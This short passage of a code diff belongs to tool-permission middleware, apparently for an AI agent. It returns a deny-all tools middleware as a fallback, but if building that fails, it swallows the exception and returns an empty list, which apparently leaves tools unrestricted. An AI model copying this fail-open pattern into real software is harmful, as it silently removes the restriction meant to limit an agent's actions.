+            return [_DenyAllToolsMiddleware()]
+        except Exception:  # noqa: BLE001 — even the fallback construction failed
+            return []